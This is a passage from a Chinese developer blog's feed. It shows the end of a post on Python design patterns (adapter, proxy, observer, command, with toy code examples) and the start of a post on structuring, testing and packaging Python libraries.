<code>Retriever</code> 的接口要求了。甚至我们还能使用 <code>self.__dict__.update(dict(execute=music_player.play))</code> 的方式动态地给类增加函数，那么更加灵活了。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">## LegacyRetriever 只提供了不兼容的 `search_code` 方法</span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">LegacyRetriever</span>:</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, codebase</span>):</span><br><span class="line">        <span class="variable language_">self</span>.codebase = codebase</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">search_code</span>(<span class="params">self, query</span>):</span><br><span class="line">        <span class="comment"># 使用不同的查询方法</span></span><br><span class="line">        <span class="keyword">return</span> [content <span class="keyword">for</span> file, content <span class="keyword">in</span> <span class="variable language_">self</span>.codebase.index.items() <span class="keyword">if</span> query.lower() <span class="keyword">in</span> content.lower()]</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">LegacyRetrieverAdapter</span>(<span class="title class_ inherited__">Retriever</span>):</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, legacy_retriever</span>):</span><br><span class="line">        <span class="variable language_">self</span>.legacy_retriever = legacy_retriever</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">retrieve</span>(<span class="params">self, query</span>):</span><br><span class="line">        <span class="comment"># 适配 `search_code` 为 `retrieve`</span></span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">self</span>.legacy_retriever.search_code(query)</span><br></pre></td></tr></table></figure><h3 id="代理模式">代理模式</h3><p>在代理模式（Proxy Pattern）中，代理对象作为访问其他对象的接口，通常用于在不改变目标对象的前提下，为其提供<strong>控制访问</strong>、<strong>懒加载</strong>、<strong>缓存</strong>或<strong>日志记录</strong>等附加功能。</p><p>假设我们希望增强 <code>Retriever</code> 的功能，可以使用代理模式来实现如下扩展：</p><ol><li><strong>访问控制</strong>：限制非授权用户的查询访问。</li><li><strong>缓存</strong>：缓存上次查询的结果，避免重复计算或检索。</li><li><strong>日志记录</strong>：记录每次查询的日志，便于后续查看或调试。</li></ol><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">## 访问控制的代理</span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">AccessControlProxyRetriever</span>:</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, retriever, authorized_users</span>):</span><br><span class="line">        <span class="variable language_">self</span>.retriever = retriever</span><br><span class="line">        <span class="variable language_">self</span>.authorized_users = authorized_users</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">retrieve</span>(<span class="params">self, query, user</span>):</span><br><span class="line">        <span class="keyword">if</span> user <span class="keyword">not</span> <span class="keyword">in</span> <span class="variable language_">self</span>.authorized_users:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;Access denied for user: <span class="subst">&#123;user&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> []</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;Access granted for user: <span class="subst">&#123;user&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">self</span>.retriever.retrieve(query)</span><br><span class="line"><span class="comment">## 缓存的代理</span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">CachingProxyRetriever</span>:</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, retriever</span>):</span><br><span class="line">        <span class="variable language_">self</span>.retriever = retriever</span><br><span class="line">        <span class="variable language_">self</span>.cache = &#123;&#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">retrieve</span>(<span class="params">self, query</span>):</span><br><span class="line">        <span class="keyword">if</span> query <span class="keyword">in</span> <span class="variable language_">self</span>.cache:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;Returning cached result for query: <span class="subst">&#123;query&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="variable language_">self</span>.cache[query]</span><br><span class="line"></span><br><span class="line">        result = <span class="variable language_">self</span>.retriever.retrieve(query)</span><br><span class="line">        <span class="variable language_">self</span>.cache[query] = result</span><br><span class="line">        <span class="keyword">return</span> result</span><br><span class="line"><span class="comment">## 日志的代理</span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">LoggingProxyRetriever</span>:</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, retriever</span>):</span><br><span class="line">        <span class="variable language_">self</span>.retriever = retriever</span><br><span class="line">        <span class="variable language_">self</span>.logs = []</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">retrieve</span>(<span class="params">self, query</span>):</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;Logging query: <span class="subst">&#123;query&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="variable language_">self</span>.logs.append(query)</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">self</span>.retriever.retrieve(query)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">get_logs</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">self</span>.logs</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>代理模式的牛逼之处，就是可以直接组合起来，因为这些类都实现了 <code>retriever</code> 函数。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">## 创建项目和 Codebase</span></span><br><span class="line">project = Project(<span class="string">&quot;MyProject&quot;</span>, [<span class="string">&quot;file1.py&quot;</span>, <span class="string">&quot;file2.py&quot;</span>])</span><br><span class="line">codebase = Codebase(project)</span><br><span class="line">retriever = Retriever(codebase)</span><br><span class="line"></span><br><span class="line"><span class="comment">## 包装多个代理</span></span><br><span class="line">log_proxy = LoggingProxyRetriever(retriever)</span><br><span class="line">cache_proxy = CachingProxyRetriever(log_proxy)  <span class="comment"># 使用日志代理作为缓存代理的底层</span></span><br><span class="line">access_proxy = AccessControlProxyRetriever(cache_proxy, authorized_users)</span><br><span class="line"></span><br><span class="line"><span class="comment">## 授权访问检索并记录日志和缓存</span></span><br><span class="line"><span class="built_in">print</span>(access_proxy.retrieve(<span class="string">&quot;file1&quot;</span>, <span class="string">&quot;Alice&quot;</span>))</span><br></pre></td></tr></table></figure><h3 id="单例模式">单例模式</h3><p>参考元类编程。</p><h3 id="观察者模式">观察者模式</h3><p>观察者模式（Observer Pattern）是一种行为型模式，它定义了一种一对多的依赖关系，让多个观察者对象监听某一个主题对象。主题在状态发生变化时会通知所有观察者，观察者可以随时动态增删。这种设计使得观察者与主题解耦，提高了代码的灵活性和可维护性。</p><p>这种模式在事件订阅，pub-sub 系统非常常见，非常实用。pub 和 sub 可以非常干净的解耦。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Subject</span>:</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="variable language_">self</span>.__observers = []</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">register</span>(<span class="params">self, observer</span>):</span><br><span class="line">        <span class="variable language_">self</span>.__observers.append(observer)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">unregister</span>(<span class="params">self, observer</span>):</span><br><span class="line">        <span class="variable language_">self</span>.__observers.remove(observer)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">notifyAll</span>(<span class="params">self, *args, **kwargs</span>):</span><br><span class="line">        <span class="keyword">for</span> observer <span class="keyword">in</span> <span class="variable language_">self</span>.__observers:</span><br><span class="line">            observer.notify(<span class="variable language_">self</span>, *args, **kwargs)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Observer</span>:</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, subject</span>):</span><br><span class="line">        subject.register(<span class="variable language_">self</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">notify</span>(<span class="params">self, subject, *args, **kwargs</span>):</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;<span class="subst">&#123;self&#125;</span> received <span class="subst">&#123;args&#125;</span> <span class="subst">&#123;kwargs&#125;</span> from <span class="subst">&#123;subject&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">## 使用示例</span></span><br><span class="line">subject = Subject()</span><br><span class="line">observer1 = Observer(subject)</span><br><span class="line">observer2 = Observer(subject)</span><br><span class="line"></span><br><span class="line">subject.notifyAll(<span class="string">&quot;First notification&quot;</span>)</span><br><span class="line">subject.unregister(observer1)  <span class="comment"># 动态移除 observer1</span></span><br><span class="line">subject.notifyAll(<span class="string">&quot;Second notification&quot;</span>)  <span class="comment"># 仅 observer2 收到</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="命令模式">命令模式</h3><p>命令模式（Command Pattern）是一种行为型设计模式，它的核心思想是<strong>将请求封装成对象</strong>，从而让你可以<strong>独立地传递、保存、撤销和重做请求</strong>。每一个命令对象代表一个请求或操作，比如“创建文件”、“删除文件”、“重命名文件”等等。</p><p>在命令模式中，通常包含以下几个角色：</p><ol><li><strong>命令（Command）接口</strong>：定义执行操作的接口，所有的命令类都应该实现这个接口。</li><li><strong>具体命令（Concrete Command）类</strong>：实现命令接口，封装具体的操作行为，比如“创建文件”、“删除文件”等。</li><li><strong>接收者（Receiver）</strong>：执行具体操作的对象，命令对象通过接收者来完成操作。</li><li><strong>调用者（Invoker）</strong>：负责执行命令的类，通常会记录所有命令，并提供撤销、重做等功能。</li></ol><p><strong>定义命令接口</strong>：首先，我们定义 <code>Command</code> 接口，它包含了所有命令必须实现的 <code>execute</code> 和 <code>undo</code> 方法。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Command</span>:</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">execute</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="keyword">raise</span> NotImplementedError(<span class="string">&quot;Subclasses must implement &#x27;execute&#x27; method&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">undo</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="keyword">raise</span> NotImplementedError(<span class="string">&quot;Subclasses must implement &#x27;undo&#x27; method&quot;</span>)</span><br></pre></td></tr></table></figure><p><strong>定义接收者</strong>（家电设备）：接收者是实际执行命令的家电设备。我们以灯、音响和空调为例，给每个接收者定义具体的操作。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Light</span>:</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">turn_on</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;Light is turned ON&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">turn_off</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;Light is turned OFF&quot;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Stereo</span>:</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">play_music</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;Stereo is playing music&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">stop_music</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;Stereo stopped playing music&quot;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">AC</span>:</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">set_temperature</span>(<span class="params">self, temperature</span>):</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;AC temperature set to <span class="subst">&#123;temperature&#125;</span>°C&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">turn_off</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;AC is turned OFF&quot;</span>)</span><br></pre></td></tr></table></figure><p><strong>定义具体命令类</strong>：接下来，定义具体的命令类，每个命令类都会实现 <code>Command</code> 接口，并且封装特定设备的操作。每个命令对象会持有接收者的引用，以便在调用 <code>execute</code> 和 <code>undo</code> 时，执行接收者的具体操作</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">## 控制灯的命令</span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">LightOnCommand</span>(<span class="title class_ inherited__">Command</span>):</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, light</span>):</span><br><span class="line">        <span class="variable language_">self</span>.light = light</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">execute</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="variable language_">self</span>.light.turn_on()</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">undo</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="variable language_">self</span>.light.turn_off()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">LightOffCommand</span>(<span class="title class_ inherited__">Command</span>):</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, light</span>):</span><br><span class="line">        <span class="variable language_">self</span>.light = light</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">execute</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="variable language_">self</span>.light.turn_off()</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">undo</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="variable language_">self</span>.light.turn_on()</span><br><span class="line"></span><br><span class="line"><span class="comment">## 控制音响的命令</span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">PlayMusicCommand</span>(<span class="title class_ inherited__">Command</span>):</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, stereo</span>):</span><br><span class="line">        <span class="variable language_">self</span>.stereo = stereo</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">execute</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="variable language_">self</span>.stereo.play_music()</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">undo</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="variable language_">self</span>.stereo.stop_music()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">StopMusicCommand</span>(<span class="title class_ inherited__">Command</span>):</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, stereo</span>):</span><br><span class="line">        <span class="variable language_">self</span>.stereo = stereo</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">execute</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="variable language_">self</span>.stereo.stop_music()</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">undo</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="variable language_">self</span>.stereo.play_music()</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p><strong>定义调用者（Invoker）</strong>，调用者负责管理和执行命令对象，提供操作执行、撤销等功能。调用者类 <code>RemoteControl</code> 可以持有一组命令，并支持批量撤销操作。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">RemoteControl</span>:</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="variable language_">self</span>.history = []  <span class="comment"># 保存已执行的命令历史</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">press_button</span>(<span class="params">self, command</span>):</span><br><span class="line">        command.execute()</span><br><span class="line">        <span class="variable language_">self</span>.history.append(command)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">undo_last</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="keyword">if</span> <span class="variable language_">self</span>.history:</span><br><span class="line">            command = <span class="variable language_">self</span>.history.pop()</span><br><span class="line">            command.undo()</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>控制的主程序：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">## 创建设备对象</span></span><br><span class="line">light = Light()</span><br><span class="line">stereo = Stereo()</span><br><span class="line">ac = AC()</span><br><span class="line"></span><br><span class="line"><span class="comment">## 创建具体的命令对象</span></span><br><span class="line">light_on_cmd = LightOnCommand(light)</span><br><span class="line">light_off_cmd = LightOffCommand(light)</span><br><span class="line">play_music_cmd = PlayMusicCommand(stereo)</span><br><span class="line">stop_music_cmd = StopMusicCommand(stereo)</span><br><span class="line">set_ac_temp_cmd = SetACTemperatureCommand(ac, <span class="number">22</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">## 创建调用者</span></span><br><span class="line">remote = RemoteControl()</span><br><span class="line"></span><br><span class="line"><span class="comment">## 执行命令</span></span><br><span class="line">remote.press_button(light_on_cmd)      <span class="comment"># 输出: Light is turned ON</span></span><br><span class="line">remote.press_button(play_music_cmd)    <span class="comment"># 输出: Stereo is playing music</span></span><br><span class="line">remote.press_button(set_ac_temp_cmd)   <span class="comment"># 输出: AC temperature set to 22°C</span></span><br><span class="line"></span><br><span class="line"><span class="comment">## 撤销最近的命令</span></span><br><span class="line">remote.undo_last()                     <span class="comment"># 输出: AC is turned OFF</span></span><br><span class="line">remote.undo_last()                     <span class="comment"># 输出: Stereo stopped playing music</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="参考">参考</h2><ul><li><a href="https://www.cnblogs.com/liuzhongkun/p/16817578.html">Python 元类详解</a></li><li><a href="https://www.guofei.site/2019/10/26/design_patterns.html">【Python】设计模式</a></li></ul>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/dev/python-design/</id>
    <link href="https://www.blog-blockchain.xyz/dev/python-design/"/>
    <published>2024-10-28T18:53:20.000Z</published>
    <summary>深入探讨Python面向对象编程核心概念，包括类与对象关系、元类编程、动态语言特性，以及工厂模式、策略模式、观察者模式等经典设计模式的Python实现和应用场景。</summary>
    <title>(三）Python面向对象设计模式</title>
    <updated>2026-02-19T16:18:01.165Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="developer" scheme="https://www.blog-blockchain.xyz/categories/developer/"/>
    <category term="developer" scheme="https://www.blog-blockchain.xyz/tags/developer/"/>
    <content>
      <![CDATA[<p>Python 包的开发是一项重要的技能，可以帮助你组织代码、实现代码复用，并且将功能模块分发给其他开发者使用。</p><h2 id="包和模块是什么">包和模块是什么</h2><p>在 Python 中，一个包（Package）就是一个包含多个模块的目录，其中通过 <code>__init__.py</code> 文件来表明它是一个包。包允许你将代码逻辑分解为多个文件，并且通过模块的方式进行导入和复用。</p><ul><li>模块：一个 Python 文件（*.py 文件）就是一个模块。模块可以包含函数、类和变量。</li><li>包：包是包含多个模块的文件夹。包使得模块之间可以被组织起来，以便更好的管理。</li></ul><p>目录结构示例：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">my_package/</span><br><span class="line">    ├── __init__.py        # 包初始化文件</span><br><span class="line">    ├── module_a.py        # 模块 A</span><br><span class="line">    ├── module_b.py        # 模块 B</span><br></pre></td></tr></table></figure><p>在代码中使用包（如果要供外部使用，推荐使用相对路径）：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">## 导入包中的模块</span></span><br><span class="line"><span class="keyword">from</span> my_package <span class="keyword">import</span> module_a</span><br><span class="line"></span><br><span class="line"><span class="comment">## 使用模块中的函数</span></span><br><span class="line">module_a.some_function()</span><br></pre></td></tr></table></figure><p>一个典型的 python 包的格式</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">my_package/</span><br><span class="line">    ├── my_package/        # 包目录</span><br><span class="line">    │   ├── __init__.py    # 包初始化文件</span><br><span class="line">    │   ├── module1.py     # 包中的第一个模块</span><br><span class="line">    │   └── module2.py     # 包中的第二个模块</span><br><span class="line">    ├── tests/             # 测试目录</span><br><span class="line">    │   └── test_module1.py</span><br><span class="line">    ├── README.md          # 包的说明文件</span><br><span class="line">    ├── setup.py           # 安装脚本</span><br><span class="line">    ├── pyproject.toml     # 现代构建系统配置文件</span><br><span class="line">    ├── LICENSE            # 许可证</span><br><span class="line">    └── requirements.txt   # 依赖文件</span><br></pre></td></tr></table></figure><p><code>setup.py</code> 和 <code>pyproject.toml</code> 必须存在一个，用于说明包如何安装，后者更加先进，建议使用。</p><h2 id="模块的初始化">模块的初始化</h2><p><code>__init__.py</code> 是 Python 包的初始化模块，它负责定义包在被导入时的行为。</p><p><strong>包的标识</strong>：没有 <code>__init__.py</code> 的文件夹将不会被视为 Python 包（在较早的 Python 版本中这是必须的，但在 Python 3.3 及之后不是必须的了，尽管还是一个好习惯）。</p><p><strong>导入时行为</strong>：当你直接导入包时，例如 <code>import my_package</code>，只有 <code>__init__.py</code> 中定义的内容（函数、类、变量）可以被直接使用。要使用其他子模块或子包中的内容，需要显式导入它们，或在 <code>__init__.py</code> 中设置好默认的导入。当包被导入时，<code>__init__.py</code> 中的代码会被自动执行一遍。因此，如果有初始化逻辑（例如设置某些配置、加载资源），可以在 <code>__init__.py</code> 中编写，它们会在导入包时执行。但 <code>__init__.py</code> 不会作为脚本运行（即不会执行 <code>__main__</code> 语句中的内容）。</p><p><strong>导入的顺序</strong>：<strong>深度优先</strong>算法。先确保 父包初始化，在父包的初始化过程中，按照导入顺序逐步进行深度优先的子包和子模块初始化。</p><p><code>__main__.py</code> 文件的作用是在 Python 包被直接执行时，定义程序的入口点。它的功能类似于脚本的主程序入口，让包像脚本一样直接运行。<code>python -m my_package</code></p><h2 id="开发测试">开发测试</h2><p>本地测试的时候，应该在包内使用相对路径，并且以“可编辑模式”安装到虚拟环境中。这会在虚拟环境或全局环境中创建一个符号链接，指向包的源代码目录，修改源代码会立即生效。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pip install -e .</span><br></pre></td></tr></table></figure><p>单元测试：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">## tests/test_module1.py</span></span><br><span class="line"><span class="keyword">import</span> unittest</span><br><span class="line"><span class="keyword">from</span> my_package.module1 <span class="keyword">import</span> some_function</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">TestModule1</span>(unittest.TestCase):</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">test_some_function</span>(<span class="params">self</span>):</span><br><span class="line">        result = some_function()</span><br><span class="line">        <span class="variable language_">self</span>.assertEqual(result, <span class="string">&quot;expected result&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    unittest.main()</span><br></pre></td></tr></table></figure><p>还有简单的测试，文件以 <code>_test.py</code> 结尾，然后函数以 <code>test_</code> 开头，依赖 pytest。</p><h2 id="安装包">安装包</h2><p>下面是一个传统的 pyproject 的定义，<code>[build-system]</code> 里这两者一般都不用变动。</p><ul><li>requires 指定了构建项目所需的工具和版本。在这个例子中，你需要 setuptools 版本 &gt;= 61.0 来进行包的构建。</li><li>build-backend 指定了构建后端，这里使用的是 setuptools 的构建元数据模块 setuptools.build_meta。</li></ul><p><code>[project]</code>是核心的配置参数</p><ul><li>requires-python：表明 Python 版本的要求，这里要求 Python &gt;= 3.9。</li><li>classifiers：这些是 Python 